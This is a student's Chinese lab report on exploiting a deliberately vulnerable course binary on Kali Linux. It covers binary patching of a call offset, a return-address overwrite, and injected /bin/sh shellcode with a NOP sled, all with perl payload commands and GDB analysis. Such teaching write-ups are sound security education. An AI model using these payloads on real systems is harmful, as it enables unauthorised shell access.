20232315 2025-2026-1 《网络与系统攻防技术》实验一实验报告
实验基本信息
-
实验环境:Kali Linux虚拟机 + VMware Workstation
-
实验工具:GDB,objdump等
-
实验对象:pwn20232315(存在缓冲区溢出漏洞的Linux可执行文件)
-
实验时间:2025.10.8
目录
-
实验目的
-
实验内容
-
实验要求
-
实验过程
-
问题及解决方案
-
实验感想
一、实验目的
- 本实验旨在通过三种不同的技术手段,利用pwn20232315程序中的缓冲区溢出漏洞,执行原本不可访问的getShell代码片段,深入理解缓冲区溢出攻击原理
二、实验内容
-
缓冲区溢出核心原理
-
核心思想:向一个固定大小的缓冲区(如字符数组)写入超量数据,超出边界的数据会覆盖相邻的内存区域
-
攻击关键:覆盖函数返回地址。当函数执行完毕时,CPU会从栈中取出这个地址并跳转执行。如果该地址被恶意数据覆盖,就能劫持程序控制流
-
-
三个实践内容如下:
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
-
注入一个自己制作的shellcode并运行这段shellcode
-
三、实验要求
-
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
-
掌握反汇编与十六进制编程器
-
能正确修改机器指令改变程序执行流程
-
能正确构造payload进行bof攻击
四、实验过程
- pwn20232315正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串
(一)手工修改可执行文件
1. 原理
通过二进制编辑工具直接修改 pwn20232315 文件中 call foo
的机器指令,将其目标地址改为 getShell 函数的地址,从而在程序正常执行时即跳转到目标函数
2. 实践步骤
(1)反汇编分析
使用 objdump -d pwn20232315 | more
定位 main, foo, getShell 函数的地址及 call 指令的机器码
(2)计算偏移
理解 call
指令使用相对偏移寻址的原理,计算从 call
指令下一条地址到 getShell 的新偏移量
-
由上图可知,getShell地址是0x804847d,foo地址为0x8048491
-
对于 e8 call 这类指令,CPU 执行时:
-
读取完整的 5 字节指令 e8 xx xx xx xx
-
此时 EIP 已经指向下一条指令的地址(即 call 指令的地址 + 5)
-
跳转目标地址 = EIP + 偏移量(偏移量是 32 位有符号整数)
-
-
从foo函数在main中的执行的机器指令(e8 d7 ff ff ff ff)和汇编指令(call 8048491)来看
-
下一条指令地址:EIP = 0x80484ba
-
偏移量(机器码 d7ffffff,小端字节序 → 0xffffffd7,有符号十六进制:0xffffffd7 是负数,十进制是 -41)
-
目标地址 = 0x80484ba + (-41) = 0x80484ba - 0x29 = 0x8048491(这就是 foo 的地址)
-
-
同理,要让程序执行getShell,需要将机器指令中foo函数地址d7ffffff改成getShell对应的地址
-
目标地址 = EIP + 偏移量 ----> 偏移量 = 目标地址 - EIP
-
目标地址:0x804847d、EIP:0x80484ba
-
偏移量机器码:0x804847d - 0x80484ba = -0x3d,即十进制的-61,转换为补码为0xffffffc3,小端排列:c3 ff ff ff
-
所以原机器码 e8 d7 ff ff ff 改为 e8 c3 ff ff ff 就可以调用 getShell
-
(3)修改文件
-
复制pwn20232315,创建副本pwn20232315_1
-
在vi编辑器里修改pwn20232315_1文件,找到 call foo 对应的机器码 e8 d7 ff ff ff,将其中的偏移部分修改为计算得到的新值
cp pwn20232315 pwn20232315_1 //复制pwn程序
vi pwn20232315_1 //进入vi编辑器
//以下内容在编辑器中执行
//按ESC键
:%!xxd //将显示模式切换为16进制模式
/e8 d7 //查找要修改的内容
//修改d7为c3
:%!xxd -r //转换16进制为原格式
:wq //保存并退出vi
- 再次反汇编确认
(4)验证
运行修改后的程序
运行成功!程序启动后无需任何输入,直接执行 getShell 函数,获得系统shell
(二)构造攻击输入字符串
1. 原理
利用 foo 函数中 gets 输入函数不检查边界的安全缺陷,输入超长字符串覆盖栈上的函数返回地址,将其替换为 getShell 函数的地址。当 foo 函数执行 ret 指令时,程序将跳转到 getShell。
2. 实验步骤
(1)确认输入字符串哪几个字符会覆盖到返回地址
- 使用循环字符(如 11111111222222223333333344444444)作为输入,通过GDB调试观察程序崩溃时的状态,确认存在缓冲区溢出
- 观察各个寄存器的值,确定哪几个字节覆盖了返回地址
由图可知EBP寄存器(指向调用者的栈帧)被覆盖为0x34343434(ASCII对应4444),EIP寄存器(指向下一条指令地址,即返回地址)被覆盖为0x35353535(ASCII对应5555),所以可以推断出输入1111111122222222333333334444444455555555从5555开始覆盖返回地址
- 输入1111111122222222333333334444444412345678再次确认
EIP寄存器的值被覆盖为0x34333231(ASCII对应1234),确认无误
(2)确认用什么值来覆盖返回地址并构造输入字符串
-
用getShell的内存地址,通过反汇编时可以看到,即0804847d,小端序填入
-
生成攻击文件,填入字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"
生成文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
查看文件xxd input
(3)验证
执行攻击
成功执行!程序在回显输入后,没有返回到 main 函数,而是执行了 getShell,获得shell。
(三)注入shellcode
1. 原理
-
向程序的缓冲区中注入一段能启动
/bin/sh
的机器代码(Shellcode),并通过缓冲区溢出将返回地址覆盖为这段Shellcode在内存中的起始地址。CPU在函数返回时,将转而执行我们注入的代码 -
shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令
2. 实验步骤
(1)使用一段经过优化的、无空字节的23字节Linux x86 Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
(2)构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
-
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边,本实验中采用RNS结构
-
构建攻击文件,定位shellcode地址
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 确定返回地址x4\x3\x2\x1应该填什么,先打开一个终端注入攻击
(cat input_shellcode;cat) | ./pwn20232315
- 再打开另一个终端进行gdb调试,找到pwn20232315的进程号
- 启动gdb调试这个进程
- 设置断点,查看注入buf的内存地址
- 在另外一个终端中按下回车,然后返回当前终端,查看寄存器地址
- 由图可知,esp位置为0xffffd3cc,从这个位置开始查看内存地址
找到01020304(攻击文本中的特殊标记)了,shellcode就在旁边,即0xffffd3d0
- 构造攻击载荷
结构:其他 + 返回地址 + NOP雪橇 + shellcode
perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
(3)验证攻击
执行攻击
成功!
五、问题及解决方案
(一)execstack问题
-
问题:execstack 工具在Kali Linux中缺失,无法方便地设置栈执行权限。后下载学习通上的工具仍旧无法成功安装
-
解决方案:本实验中execstack主要用于开启堆栈可执行,而实验用的 pwn20232315 程序本身未开启栈执行保护,或教学环境默认允许,故可能无需此工具,可跳过execstack工具安装,后续实验证明,这种方法可行
(二)栈地址差异
- 问题:在按照实验指导书进行实验时,我同样遇到了指导书上的问题
- 进行gdb调试,找到shellcode地址
- 问题攻击文件
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xb0\xd3\xff\xff\x00"' > input_shellcode
- 执行错误
- 错误分析,gdb调试
由图可知此时esp地址为0xffffd3c0,与原本的0xffffd3cc有差别,询问AI得知是GDB调试环境与真实运行环境的栈地址存在差异,二第一次攻击脚本采用的结构是NSR,仅靠NOP雪橇无法应对大范围偏移
2. 解决方案:换用其他 + ret + nops + shellcode的结构构造攻击脚本,具体可见实验过程的注入shellcode攻击。
六、实验感想
- 本次实验让我直观地体会了缓冲区溢出的攻击过程,以前只在理论上知道“栈溢出覆盖返回地址”,实验我通过GDB亲眼看到了栈帧的结构、返回地址的位置、以及它被一步步覆盖的过程,加深了我对这一部分知识点的理解与认知
- 通过本次实验,我对x86汇编、机器指令有了进一步的理解与认识,同时也对系统底层有了进一步的接触
- 本次实验中,我在execstack的安装上其实耗费了不少时间,虽然这看起来是个小问题。我尝试过AI给出的方法和老师同学推荐的方法都没有成功,但没想到这一步可以跳过,其实有点无语,不过这也说明有些难题看起来不可逾越,但换种思路,也许可以绕过。
- 最后,记一下曾经看过的一句话——“缓冲区溢出攻击既是科学,也是艺术”。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936099.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!